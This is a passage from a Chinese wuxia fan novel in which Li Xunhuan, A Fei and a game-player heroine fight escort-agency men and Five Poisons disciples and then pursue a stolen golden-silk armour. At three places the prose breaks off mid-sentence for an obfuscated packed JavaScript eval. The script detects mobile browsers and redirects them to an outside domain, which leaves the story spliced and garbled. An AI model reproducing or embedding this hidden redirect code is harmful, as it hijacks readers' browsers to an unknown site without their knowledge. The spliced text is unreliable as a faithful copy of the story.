可是,和阿飞的剑比起来,这两个人的快剑竟好似变成了一头拉磨的老牛,迟滞又无力。 铁片还未拔出,短暂的怔愣后,右边那人立时狂吼一声,朝阿飞攻来。 左边,被一招贯穿了喉咙的人面色狰狞,凭借最后一丝余力,抬起手死死卡住了脖颈里的铁器。 软剑直取阿飞咽喉,剑尖没入少年人身前的毛领之中,却再没能前进半寸。 持剑之人的脖子上正插着一把手掌长的小刀。 他的喉咙里发出一阵“咯咯”的细碎声响,眼珠缓慢地转动,终于在临死前看清了出手之人的模样。 那是一个面容憔悴的中年人,身上的衣饰并不华贵,气质也相当没有存在感。几缕碎发零落地散在颊边,落拓的外表使人忽略了他优越的相貌。 男人使出了这雷霆一击,却仍是一副敛目模样,静静注视着面前盛着清酒的陶碗。 软剑当啷落地,再没有了被主人拾起的机会。 “碧血双蛇”不愧为一对双生亲兄弟,非但同年同月同日死,就连死法也殊途同归。 左边那人早已没了声息,歪着头,软软地串在铁片之上。阿飞略一使力,剑身便脱体而出,带起一溜血珠。 就在此时,客栈中忽然炸出一声雷鸣般的大叫。那先前如同孝子贤孙一般俯首帖耳、伏趴在地面上的诸葛雷竟不知何时纵跃而起,手中长剑一送,就这样劈向了阿飞的咽喉。 李寻欢的神色终于变了。 小李飞刀瞬时而发,诸葛雷惨呼一声,身体径直从半空跌下。 长剑脱离主人的掌控,竟仍被惯性带着继续向前,直奔向一旁食客的前胸。 眼见这倒霉食客就要血溅当场,千钧一发之际,一根木筷自旁边斜刺而出,正打在剑锋之上。筷身所挟的内劲刚猛至极,如同铁块般生生将其砸飞出数米,撞在了墙壁之上。 筷子落地,竟分毫未损,剑身却已凹进了一个圆形的小坑,可见出手之人内功之深厚。 众人无论如何也想不到,这间开设在荒僻小镇之上的小小旅店里居然如此卧虎藏龙,不由又双叒骇了一跳。 一人赞道,“好快的刀。” 这声音温和,像山岳一般沉静,带着令人镇定的力量。李寻欢微笑道,“阁下手上的功夫也很是了不得。” 说话之人穿着一身玄色衣衫,肩膀、小臂和前胸处各有几片铁甲相护,相貌周正又英朗,大约二十余岁的模样,气质却很沉稳。 “在下铁方目,请问阁下名姓?” 李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16289346|180007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寻欢道,“不是什么值得记住的名字,哪里劳烦挂齿呢。” 听到这样的回答,青年便不再多问,重新从竹筒中抽了一根筷子出来,并做一双,低头夹菜。 店里发生了这样的事情,众多食客瞩目,李寻欢自然不愿继续待下去。 这一次,阿飞终于坐进了马车里。如今,他已有钱请马车的主人喝上一壶酒了。 李寻欢倒满了一碗清酒,对面的小少年却似乎有些心不在焉。 倘若他是一只狼,此刻,头顶上大抵便该有对高高竖起来的耳朵了。 李寻欢怎么会猜不到这孩子的心思,暗叹一声,眼底不免荡起了些许笑意。 车帘外传来一阵哒哒的马蹄声,阿飞立刻掀开了车帘。他没有察觉到自己的动作究竟有多么的迫不及待。 芒青不知是去做了什么,来得稍有些迟,转头瞧见一双亮闪闪的眼睛,不由笑了,“怎么?” 阿飞呆了一下,怔怔半晌,忽然问,“你喝不喝酒?” 芒青挑了一下眉,觉得很有意思,故意做出一副苦恼的样子,用阿飞先前说过的话去逗他,道,“但是我没有钱。” 狼有些急切地说,“不要钱。我请你喝。” 芒青终于忍不住闷笑出声,“我们下次一起去喝茶。我不碰酒的。” 阿飞很认真地想了一会儿,问,“是哪个下次?” 芒青撑着下巴,也很认真地思考了一阵,回答,“等你有了买茶水的钱的下次。你请我喝我的茶,我请你喝你的茶,这样可以吗?”npc好像不太喜欢欠人情。 阿飞抿了一下唇,说,“我请你。不用你请我。” 他略一停顿,不自觉伸出手摸了摸脖颈上这条带来丝丝暖意的围巾,又很郑重地重复了一遍,“以后,我都请你喝茶。我已经知道你不喝酒了。” 芒青“嗯?”了一声,又迟疑地“啊”了一下,作为回复。 其实她也没那么喜欢喝茶。毕竟玩家没有进食的需求。 李寻欢看着这两个年轻人,笑着摇了摇头,端起酒碗,慢腾腾地喝了一口。 * 马车的轮子重新转动了起来。 黑马奔驰的速度远比拉车的马要快上许多。和主人不同,它似乎总有使不完的好奇心。即使是树杈子上的积雪,也要衔进嘴里去尝尝味道。 芒青由着坐骑撒欢,面上分毫不显,背地里闷不吭声扣了它两天的麦芽糖。 坏心眼的玩家当着一片冰天雪地,给马塞了颗薄荷糖。[1] 马好奇地嗅了嗅,卷进嘴里,登时一个激灵,四条腿立正站得笔直。 芒青失笑。 阳光透过云层,洒落在皑皑白雪之上,仿佛有什么人调高了这片天空的曝光和亮度。 年轻人弯起的眉眼下,脸颊的皮肤看起来有种近乎透明的白皙,越发衬得唇色艳丽。 即使她穿着素色的衣服,却仍让人感受到了一股鲜衣怒马的张扬意气。 李寻欢看着她的背影,眉宇间逐渐透出了一抹怀念,似乎也静静地出了神。 44.第四十四章 * 三匹马的马蹄在雪地上留下了三行深深浅浅的足迹,马车画出两条规整笔直的车辙。 风仍在呼啸,仿佛一只无形的巨手,锲而不舍地冲击着厚重的车帘,使它也跟着鼓胀又收缩,宛若活物。 车忽然停了,车帘也终于静止了下来。 李寻欢扬声询问道,“怎么了?” 车夫的回答略显迟疑,“芒青少侠?” 闻言,阿飞当即伸手,就要掀开帘子下车去瞧,不想却与另外一人撞了个正着。 年轻人的手骨感分明,指节长而白皙,已被染上了北境风霜的冰寒温度。 可是,在指背相触的一瞬间,阿飞反而像是被烫到了一般,不自觉地颤栗了一下。 狼的眼睫轻轻一抖,目光却已迫不及待地寻向了车外的那个人。 年轻人的眉眼依旧含着浅淡的笑意,令人见之亲切、如沐春风。但她说出的话语却夹杂着一股凛冽的不祥之意。 “有朋友在此久候,理应见上一面的。” 阿飞猝然转头四顾,凝目停顿几个呼吸的功夫,果然也捕捉到了那一抹极不寻常的气息。 李寻欢浸淫江湖数十载,遇到过的截杀数不胜数,同样立刻发现了几名不速之客。 不多时,由积雪和灌木掩映着的树林中便走出了两个人。 这二人一老一小,“老”说的自然是年龄,而“小”讲的却是身量。 车夫的目光落在那老人身上,只见来客颧骨稍高、嘴唇极薄,一副精明强干的模样。 他的地位必定尊崇,可定睛一看,人们便能发现,老人的一只袖管内空空荡荡,竟唯剩一条手臂而已。 车夫又瞪向那“小”人。此人不仅身量矮小,连腿都是跛的。 这个跛子走起路来,却比世间绝大多数人都要轻巧,一路缓缓行来,居然连足下的雪花都没有惊动。 李寻欢能够高中探花、受称进士及第,自然博闻强识。纵使是十数年前仅有过一面之缘的人,他也仍旧记得明晰。 二人正是金狮镖局的总镖头“金狮”查猛和武林里的轻功好手“神行无影”虞二先生,江湖诨名“虞二拐子”。 芒青的目光一扫而过,右手轻轻搭在了刀柄上。 查猛走到距离马车三丈远的地方,停下脚步,忽然放声大笑道,“小李探花入关,我竟没能第一时间与你见上一面,实在可惜。” 李寻欢同样弯起唇角,道,“两位既已现身,倘若不叫其他几位朋友也出来结交一二,岂非才最为可惜?” 话音落地,树林中竟果然又走出了四人。 这四人的相貌、身量分明皆是成年男子,却将自己打扮得宛若垂髫幼童,身穿花袄、腕系银镯,颈上还挂着金子打成的长命锁。 他们的行止也颇为忸怩违和,仿佛竟当真将自己当成了小孩子,你推我一下、我搡你一分。 只可惜,这些人一辈子也学不来稚童的天真。 虞二拐子道,“小李探花的名号,恐怕连聋子都有所耳闻,便无需我再介绍了罢!” 李寻欢微笑,“但是,这四位新朋友的名姓我却还不知晓。” 四人站定作一排,其中一名黄衫男子眼珠一转,视线便如毒蝎般钉在了李寻欢身上。他如此做派,嘴上却嘻嘻笑道,“不妨不妨。我有一个法子,很快就能让你认识我们了。” 李寻欢神色未变,只道,“哦?” 那黄衫人表情同样未变,依旧咯咯笑着,身体却已凌空纵飞而起,如一只鼓胀的大鸟般跃来。 李寻欢站在原地,避也未避,黄衫人却没能如愿来到他的近前。 此人的功夫与中原武林迥乎不同。他在半空被虞二拐子拦下,落在地上时,钏上银铃仍震荡不休,脸上的笑容已变成了冷笑。 黄衫人阴侧侧地看着虞二拐子,一只甩着尾鞭的赤红大蝎缓缓爬上了他的肩头。 李寻欢的目光扫过那骇人毒蝎,转而望向四人身上花纹奇特的服饰,忽然问道,“几位难道是苗疆极乐峒门下弟子么?” 虞二拐子的手仍摁在黄衫人的小臂之上,答道,“不错。他们的老师便是极乐峒峒主,五毒童子。” 闻言,那一副稚童打扮的男子忽然嬉笑起来,“原来你是怕事有万一,不好与我师傅交差。” 他的神色陡然阴鸷,反问道,“可你又怎知我不会是他的对手?” 虞二拐子道,“你一定不是他的对手。小李神刀,冠绝天下[1]。他成名的时候,你的本事还未见得学了多少!” 黄衫人冷冷地瞧了他半晌,复又咯咯笑道,“你既如此怕他,又怎么敢来截他的路?” 李寻欢道,“我的确不知几位朋友此番大费周折,究竟是何所为。不过,倘若查总镖头是为了诸葛雷而来,便不必多费口舌了!” 诸葛雷为了在“碧血双蛇”二人手下活命,竟甘愿如同豺狗一般趴在地上进食,实在已是经历了极致的社会性死亡。 倘若他没有命丧于小李飞刀之下,今日过后,只怕江湖之中也再无此人的立足之地了。 而诸葛雷乍然暴起、偷袭阿飞,则正是在给自己挣那最后一线生机。 “碧血双蛇”之一死在阿飞剑下,假使他能进一步杀死这初出茅庐的籍籍小卒,过后也可吹嘘为自己胜过了那黄河二害。 他日谈起时,诸葛雷所受的胯下之辱自然再不会提及。春秋笔法一番,此事便又能算作大镖头的另一件丰功伟绩了。 金狮镖局有这样的二把手,上行下效,做派自然也与坦荡磊落沾不上边。 李寻欢话音落地,查猛的脸皮陡然抽动了一下。 他被一个小辈拂了面子,脸上却没有露出半分不满之色,只强笑道,“诸葛雷自寻死路,与人无尤。我们来找李兄,自然是有他事相请。” “哦?” 查猛道,“若李兄肯将我金狮镖局保送的镖物还回,两相无事,便也不必再起干戈了!” 李寻欢皱眉道,“镖货难道不在镖师手上么?” 查猛大笑道,“诸葛雷已死,死人又能如何保镖?李兄还是莫要说笑了。” 阿飞下意识看向了李寻欢。 李寻欢已听明白了查猛的意思,不由苦笑。 当下情形,即使告诉他们自己没有挟走那镖货,这一行六人也必定是不会相信的。 东西没有拿到手里,其人又岂能善罢甘休。 那黄衫人见查猛面对李寻欢如此卑躬屈膝,不禁冷笑连连。 他趁虞二拐子不备,陡然挣脱了牵制自己的那只手,再次纵身飞跃而起,数十只闪动着寒光的蜈蚣毒蝎霎时飞出,如暴雨般射向站在马车边的中年人。 虞二拐子勃然变色,却已再来不及阻拦。 可他意想不到的是,杀死这五毒童子亲传弟子的人,竟然并不是李寻欢。 刀影一闪,黄衫人随着那道急掠的白芒一齐从半空跌下,“噗”地一声落进了雪地里。 红红白白的液体顺着他头顶上的刀口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16291732|180007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缓缓地流出来,浸湿了那条可笑又滑稽的朝天辫。 毒虫蛇蝎在主人毙命的一瞬间,便立即失去了声息,噼里啪啦地砸落在雪地之上,竟当真如同落雨一般。 不过雨水涤荡污浊,这些骇人毒物却只让人见之作呕。 刀身撕裂空气,奔袭十数米,仿佛一根穿梭在布匹之间的绣花针,轻而易举地嵌进了黄衫人的颅骨之中。长刀去势已减,尤且震荡不休。 这块人身上最坚硬的骨头,居然就这样被如同砍瓜切菜般斩开了一条缝隙。 查猛的眼睛死死地瞪着那把在寻常不过的铁器,恍惚间竟幻视了一座矗立的坟冢。 虞二拐子定睛一看,同样露出不敢置信的神色,又重新仔仔细细地瞧了一遍,却只得到了相同的结论。刀身确由凡铁打造,刀柄处甚至已生出了星点斑驳的锈迹。 他不由望向了那悍然出手之人。 少年人姿态闲适,正偏头和身边另一个衣着单薄的少年低声交谈着什么。注意到他的视线,甚至还含着浅笑,彬彬有礼地朝他颔了颔首。 若非亲眼所见,恐怕谁也不会相信,这样一个风流俊逸的年轻人刚刚才在数息之间了结了一条性命。 虞二拐子不禁悚然。 五毒童子身为“极乐峒”掌门,不仅心狠,下手也分外的黑。江湖之中,恶名几乎已达到了令人闻风丧胆的地步。 而就是这样一个人的弟子,竟未能在她手里走过一招。 为什么他们没有任何一个人意识到此地存在着这样一名可怕的敌人? 虞二拐子的后背不自觉地渗出了冷汗。 查猛干笑两声,声音却比哭还要难听几倍。 与这黄袍之人同行的余下三名彩衣男子俱皆变了颜色。看好戏的戏谑神情还未收起,就已经滑稽地定格在了他们的脸上。 呼啸的寒风不知何时止息了。 风停之后,万籁俱寂,反而有更多的人动了起来。 三人面目狰狞,再顾不得作那幼童姿态,一齐狂吼着飞身扑来。无数剧毒的蛊物化作一片黑红色的浪潮,翻滚着朝芒青一行人涌去。 下一瞬,李寻欢指尖的飞刀便连发三刀,分别没入了他们的脖颈之中。 半空中的人仿若三只蠕动的蚂蟥,连惨呼都未及发出,就已然如他们的同门一般横尸当场。 查猛的面色几乎比雪下的土层还要灰败几分。 虞二拐子盯着地上那四具扭曲的尸身,忽然大喝一声,将手里攥着的暗器霹雳般甩了出去。 这一次,阿飞抽出了他的剑。 即使是这样简陋的铁器,在他的手里,似乎也焕发出了别样的夺目萤光。 他的剑太快了,出手即是杀招。人身上致命的部位有许多,但狼捕猎时,总是更喜欢锁住猎物的咽喉。敌人无力阻挡,便会被幼狼一剑穿喉。 虞二拐子的尸身居然在断气之后仍然维持着站立的姿势。 直到止歇的朔风再一次横冲直撞地席卷这片大地,他才终于“咚”地一声倒在了地上。 皑皑白雪被粘稠的血液泅湿,慢慢融化成了一摊鲜红色的血水。 查猛早已两股战战,如一片风中落叶般哆嗦不止。 他忽然也大叫了一声,伸出了仅剩的那一只手。 手臂举到了面前,却并非冲着阿飞而来。 那只手的掌心对准了主人自己的太阳穴。当头拍下,查猛两只眼的眼眶立刻爆出一股乌黑浓血,软绵绵地伏倒在地,彻底没了生息。 45.第四十五章 * 北风将血腥气送向了远方,空气中仿佛也飘荡出了一缕缕黏着的红色丝线。 铁片重新别回了阿飞的腰间。李寻欢看着六人的尸体,轻轻叹了一口气。 车夫皱眉道,“查猛死在他自己手下,金狮镖局却未必肯善罢甘休。少爷,我们还是早做打算。” 李寻欢道,“诸葛雷虽品行有亏,但到底有些江湖地位。由他保送,此物必定非比寻常。金狮镖局认定是我拿走了镖货,若不将真凶找出,只怕是甩不掉这麻烦的。” 他叹息一声,苦笑道,“想不到我入关才不过十余日,竟又已被倒霉事和麻烦事追上了。” 车夫惋惜道,“可惜其时鱼龙混杂,不知究竟是谁偷走了镖物。” 李寻欢摇头,“这倒不难。” 车夫欣喜道,“难道少爷你已知道那人是谁了么?” 李寻欢说,“你可还记得诸葛雷身边两名同行之人的模样?” 髯须大汉回忆道,“一人死于那“碧血双蛇”剑下,至于另一个……” “他穿着皮袄,是个矮子,鼻子又尖又大,耳朵上还长着黑毛。”[1] 车夫循声望去,看到说话的人,不由略略一惊,“飞少爷?” 李寻欢同样目露讶然。他有过目不忘之能,却未曾想这孩子竟也如此心细如发,连那几乎没什么存在感之人的相貌都记忆犹新、历历可数。 阿飞盯着李寻欢,问道,“他就是你要找的人?” 中年人那双多情的眼眸里缓缓淌出饱含欣赏的笑意,道,“不错。客栈之中,除了劫镖的“碧血双蛇”,也就只有诸葛雷三人知道此物的价值。五人之中,唯剩他一个活口而已。” 车夫怒道,“他自己将东西昧下,反来栽赃少爷你,天底下岂有这样的道理?” 李寻欢道,“没有这样的道理,如此作为的人却从来不少。这道理,你难道不清楚么?” 他说着说着,便又艰难地呛咳了起来,呼吸断续,似乎连气都快要喘不过去,苍白的面色因此染上了些许病态的殷红。 车夫担忧道,“少爷,外头风大,回车上去吧。” 亲近之人的好意总是最令人难以拒绝。李寻欢一笑,顺从地转过身去,艰难攀进了马车。 芒青看向npc的头顶,发现锁血buff依然在坚持不懈地亮着不容忽视的荧光,不禁无语望天。 既想迎合市场搞美强惨人设,又不能让副本重要npc随便下线,策划想出这招也属实是天才。 此等一经发现必被封号的外挂连她都没开过。只许策划放火,不许玩家点灯,岂有此理呢。 阿飞看着李寻欢苍白的手腕,忽然问道,“你的身体很不好?” 李寻欢回答,“只是有咳嗽的老毛病而已。” “咳嗽还能喝酒么?” 李寻欢苦笑,“自然是不能喝酒的。” 阿飞很直白地说,“但你喝起酒来却很拼命。” 这句简单的描述由少年人说出口,话音落地,中年人竟像是遭受到了痛击一般,神色立时黯淡了下去。 芒青忽然道,“我们接下来要去找偷走了包裹的人吗?” 李寻欢抬目望去,只见年轻人行止一如往昔,既没有因为他流露出的异状而显出别样的表情,也没有因此追问什么。 这样的体贴,无论是谁都会感到受用的。 男人微笑起来,眼尾攒起几丝细碎的纹路,道,“不。我们接下来要去好好地吃上一些饭菜、喝上一盏热茶。” 他的神色忽而又变得严肃,道,“然后,我们便该就此别过了。” 狼虽然还不完全了解人性的复杂,却对情绪有着堪称直觉般的洞悉,敏锐地问,“你怕连累我们?” 李寻欢不答,只道,“你们本就是受我拖累,才会与金狮镖局和五毒童子结怨。” 芒青:“……” 她露出一点困惑的神色,不确定道,“结怨好像是因为人是我杀的。” 李寻欢反问,“倘若不是因为我,你又怎么会动手呢?” 芒青看起来更加困惑了,“前辈并没有强迫晚辈动手。” 李寻欢苦笑。他明知这孩子的意思,却也只得随着她的意,把话挑得更明白一些,道,“你们因情谊而选择帮助我。如今我让你们离开,正是不想辜负我们之间的这份情谊。” npc终于长嘴,芒青满意地挑了一下眉,同样露出了笑意,“但是,前辈在遇到危险时便认为我们会选择离开,难道岂非正是看轻了我们的情谊?” 玩家义正言辞,继续道,“人死在晚辈手上,五毒童子来找我,才算是冤有头债有主。前辈选择替我担下罪责,难道岂非也是看轻了在下的为人?” 呵呵。策划递上门的经验包,还是买一送一,怎么可能让它跑了。 …… 雪花又一次纷纷扬扬地落了下来,仿佛在天地间织就了一片朦胧的纱幔。 阿飞扭过头,静静地凝望着身旁的那个人。 狼的眼睛很亮。他还没有学会怎么用肢体语言去表达“羞涩”这样的情绪。即使心如擂鼓,也依然只是直勾勾地盯着人家瞧。 那张如白玉雕琢的侧脸微微偏了过来,阿飞呆呆地看着那双眼睛,脖颈和耳根再次发起烫来。 狼是丛林里走出的孩子,想不出什么华美的词藻。他懂得捕猎和生存的技巧,却很难像世间的其他人那样人情练达、通晓诗书。 狼注视着那一双眼,只觉得睫毛长长的,像落在花瓣间的蝴蝶;眼珠亮亮的,像湖泊上的水面。 小小的泪痣随着弯起的眉眼而变得更加生动,仿佛也酿满了笑意。 芒青并不是性格冷淡的人,只是大部分时间里,她都更喜欢用眼睛去观察。于是阿飞便也格外喜欢去追逐那一双眼睛。 如果从中捕捉到了一点点那个人的心情,狼的心里就会像春天的土地一样,长出绒绒的绿草。 她的嘴唇也很漂亮、手指也很漂亮,就连身上穿着的衣服都像是在发光。 阿飞的手上有许许多多各种各样的伤痕,有一些由野兽的利爪留下、有一些被猎物的尖牙造就。 狼悄悄低下头,抿了抿唇,小心翼翼地把自己的手贴得更近了一些。 他的手背上也有很多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16298132|180007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青色的纹路,却远不如她的好看。就像一支光秃秃的树杈和一根绿莹莹的柳条挨在了一处。 如果阿飞是一个在尘世里长大的孩子,或许会因此感到难堪与自卑。但很不巧,他是狼。 * 李寻欢沉默了很久。 半晌,他抬起头,看向眼前这个与故人分外肖似的孩子,终于笑了起来。 “好。我明白了。”中年人的神情间怀着一点年轻人看不懂的复杂与苦涩,说,“但茶还是该要去喝一盏的,毕竟我们还没能好好吃上一顿饭。” 车夫那张几乎已被胡须完全覆盖住了的面庞上也露出了一抹笑意。 然而,无论是在哪个次元,计划似乎都老是赶不太上变化。 一行四人并没能如愿吃上热乎的饭菜,反而又在这冰天雪地里遇到了亟待解决的麻烦。 动物的感官总是比人要敏锐,马匹更是如此。 极乐峒四弟子所携的毒物虽然已失去了活性,但两匹拉车的马却仍旧两股战战,不肯前进一分。车夫强硬地催动缰绳,反倒引得它们嘶鸣不休,听起来分外可怜。 李寻欢叹道,“罢了。何苦为难它们。我知道这附近有一座酒家,不妨就先去那里歇一歇脚罢。” 芒青瞥了一眼系统地图,顿时从善如流,跟上了他的脚步。 一行人跟着李寻欢向雪林深处走去。 大雪遮盖住了枝丫的形状,李寻欢却知道此地原本是一片桃林。 桃花盛开之时,茵茵绿草、满地芳菲。游人踏青赏景,欢笑嬉闹,仅仅只是看着,便让人感到无尽的快活与喜悦。 十年过去,景物还肖似,人却不再是昔日的模样了。 酒家的规模并不算小,只是早已破败,依稀能看出曾经雅致的装潢。 草长莺飞,伴着桃花设一场雅集;大雪纷扬,偎着灶上炉火煮一壶热酒。倘若此地仍有人愿意光顾,绝可以算是赏景品茗的好去处。 他们走近了,便也听见了马厩中传来的马匹活动时发出的声音。 李寻欢露出了恍然的神色。阿飞虽不通人情,却对动物捕猎的习性了如指掌,同样已猜到了马匹的主人。 查猛。 倘若他乘着坐骑而来,大概率会选择将它们安置在这间临近的酒家之中。 而那个对查总镖头谎称李寻欢拿走了镖物的人,除了这里,又能去什么地方呢? 他还得等查猛和虞二拐子杀了李寻欢,自然再无其他地方可去。 他果然还在这里。先前只是没有地方可去,如今却是没有地方可逃了。 此人不仅品行与硕鼠相当,长相也实在与其有异曲同工之妙。芒青一言难尽地瞥了一眼炮灰npc的建模,只能说这对玩家的眼睛不是很友好。 他一见到四人,便立刻露出了仿佛见鬼般的神色,如同竹筒倒豆子般问什么说什么。 玩家毫不怀疑,纵使李寻欢想数一数他的族谱,这位自称洪汉民的镖师也会噼里啪啦全吐个干净。 直到男人终于含着浅笑、神色和缓地问出了那个问题。 “诸葛雷保送的镖货,你藏在哪儿了?” 46.第四十六章 * 窗外白雪纷飞,室内炉火噼啪作响,热气一腾,倒将屋子里蒸得春意融融。 只是,这样舒适的好光景,并不是谁都有心思享受的。 话音落地,洪汉民的脸霎时又惨白了一个色号。他强行挤出一个笑容,眼睑下的肌肉却在不由自主地抽动着,“……什么镖货?” 芒青懒散地从门外慢悠悠晃进来,眺望了一会儿窗外的雪景。闻言,她转过目光,有点惊奇地挑起眉,很轻地笑了一下。 阿飞耳尖一动,扭头仔细地盯着她。 狼的视线实在很有存在感,芒青感觉他有点像正在讨食的黑马,眼睛布灵布灵的仿佛在冒光,跟俩灯泡似的。 玩家稍加思索,从兜里摸出来一颗麦芽糖,“吃吗?” 【赠送[麦芽糖1],人物好感度+2】 阿飞直勾勾地看了她片刻,这才低头去瞧那枚小小的糖果。 芒青想起他的人设,随口补充,“等你有钱也带我吃糖。” 阿飞伸出手,轻轻把糖从那个人的掌心里拿走,说,“下次。” 芒青没反应过来,疑惑地“啊”了一声。 狼抬起头,表情很认真,“下次有钱的时候,就带你去。” 芒青乐了,坏心眼地逗他,“那茶还请我喝吗?” 阿飞的眼睫轻轻一颤,耳根又烧了起来,“请的。茶和糖都要请的。” 芒青终于忍不住闷笑出声。 …… 这边厢岁月静好,那边厢却已经快进到了有威逼无利诱的后审讯阶段。 洪汉民此人,虽贪生害义,可论及他的所偷之物时,嘴巴却闭得比蚌壳还要紧。 即使李寻欢的小刀已抵上了他的胸膛,该嫌疑人却仍旧一口咬定自己一无所知。 洪汉民如此作为,必定有所依仗。 刀尖划破外裳,竟再无法寸进分毫。李寻欢注视着手中的飞刀,忽然笑道,“江湖传言,武林中有三件非比寻常的宝物,孔雀翎、碧玉刀和金丝甲,并称“武林三宝”。前两者乃是不可多得的神兵利器,最后一个却还要更难得一分……” 洪汉民的身体已微微打起了摆子。他忽然大喝一声,跳将而起,手臂一抡,便已展开了腰间盘着的武器。 链子如同一条银蛇,尽头的枪尖恰似蟒蛇的獠牙,直取李寻欢咽喉。 洪汉民攻势极猛,眼见枪身就要没入敌人的致命部位,不禁面露喜色。 李寻欢眼皮未抬,猝而挥袖一拢,那锋锐的链子.枪便仿佛一只没了头的苍蝇般“仓啷”一声缴在了地上。 中年人神情依然和缓,接上了先前未尽的话语,笑道,“我曾听闻金丝甲水火不能侵、刀枪不能入,今日一见,果然非同凡响。” 他转了一下手里的飞刀,从容道,“只是不知,我这把刀划上你脖颈时,它还护不护得住。” 洪汉民早已汗出如浆。 全力一搏,却犹如蚍蜉撼树,怎能不让人心生绝望。 然而,事到如今,他竟仍然不肯将金丝甲交还。就连李寻欢也不由得面露惊奇。 难道真有人将财帛看得比性命还重要么? 或许世上果真会有这样的守财奴,但其人之卑鄙、吝啬,在这位仁兄面前倒属实算是小巫见大巫了。 洪汉民既不愿意把自己的小命交出去,也不愿意将金丝甲奉还。 只不过,常言道“德不配位,必有灾殃。人不配财,必有所失”[1]。前人之言,总也有些道理。 洪汉民拼尽全力都不想放手的两样东西,最终一个也没能保全。 正在四人僵持之时,这个形容矮小又猥琐的男人忽然抬手捂住了自己的脖颈,数息之间,面色已由惨白变得紫涨,连最后的一口气都没来得及呼出,就仰面“咕咚”一声栽倒了下去。 死人的指甲以肉眼可见的速度泛起了乌黑的色泽,耳孔和口鼻处更是渗出了紫红的浓血。 李寻欢悚然一惊,便要上前查探,却突听得廊上一阵脚步声由远及近。 紧接着,房门被人倏然从外推开,一名身着粗布棉衣、腆着肚腩的老人不知何时站在了走廊之上。 李寻欢表情一变,道,“是你?” 来者正是这家酒馆的主人。十年前李寻欢出关,途经此地,曾在这里饮下过一壶苦酒。[2] 十载光阴过去,昔日的青年年近不惑;昔日的中年人,如今也变成了一个彻彻底底的老人家。 他的生活一定算不得顺意。那张爬满了皱纹的面孔上,眉心间的两条川字分外深刻。 在店主人的身后,另一道脚步声由远及近,款款而来。 紧接着,长廊的尽头又转出了一个人,站定在老人身旁,同样没有走进房间里。 那是一名很胖的妇人。年华逝去,也带走了她的美貌,但同这沧桑、丑陋的老人站在一处时,倒又显得分外丽质可人了。 阿飞的手已经摁上了剑柄。那丰腴妇人眼波一扫,掩口娇笑道,“我劝你还是莫要动手才好。真气一运,只怕你的剑还没有送进我的脖子里,人就要先一步倒在我脚下了。” 芒青沉吟少许,面露好奇,道,“难道是毒?” 胖妇人睨她一眼,又“咯咯”笑起来,“是呀。这毒发作起来可凶险得很呢。你看,地上不就躺着一个好榜样么?” 芒青便轻轻叹了一口气,道,“能死在您这样的佳人手里,倒也并非一件憾事。只是临死之前,晚辈是否能知晓夫人的名姓呢?” 妇人柔柔低嗔道,“好俊俏的年轻人,你若早生二十年,我又何必跟着这糟老头子来受这样的洋罪。” 她摸了摸脸,情不自禁地露出了一点愤懑又痛恨的神色来,“……你若早生二十年,也定当该是认得我的。当初,放眼整个武林,又有谁不识得我‘蔷薇夫人’的名号呢?” 话音落下,她复而阴狠了神色,道,“只可惜,你生得太不是时候,也来得太不是时候了。死得痛快些,好歹到下面做个明白鬼去罢!” 听到她的身份,李寻欢倒果真吃了一惊,不由转而望向那看起来已年近七旬的老人,叹息道,“想不到昔年江湖上人人称颂的‘紫面二郎’孙逵,如今竟沦落到了这般光景。” 蔷薇夫人冷笑,“当年我放下一切与他私奔,也绝想不到如今会是这般光景!不过好在,他也并非是个完全没用的男人。” 她咬牙转头,恨声道,“你为什么还不动手去把金丝甲拿过来?” 那被李寻欢称作孙逵的老人原本正默不作声地站在一边,闻言,不由喃喃道,“我为什么还不动手……我为什么还不动手?!” 他那双垂在身侧的手忽然攥起,猛然挥出,爆喝一声,居然毫无征兆地将蔷薇夫人打飞了出去。 谁也没料到竟会有这样的惊变。江湖儿女,行事往往为意气所驱,快意恩仇、不计后果。 一言不合便提刀灭人满门的凶案都已不知有过凡几,更莫说是私奔这种常见不鲜的爱情故事了。 只不过,这样将朝夕相处的亲人杀害的暴行发生在眼前,还是很少有人能不显露异色、欣然接受的。 孙逵的拳头收了回来,面上的愤恨之色却仍未消减半分。 他打量着李寻欢的神色,忽然嘿笑一声,“你觉得我狠心?……世人皆说是我引得江南水路码头总瓢把子的妻子私奔,却不知当年她早已有了欢好,不愿将那人推到台前,才又与我有了首尾。我不知内情,带她离开,反倒做了她那真姘头的替罪羊!” 李寻欢道,“你既早已怀恨在心,想必这金丝甲也并不是要留给蔷薇夫人的罢。” 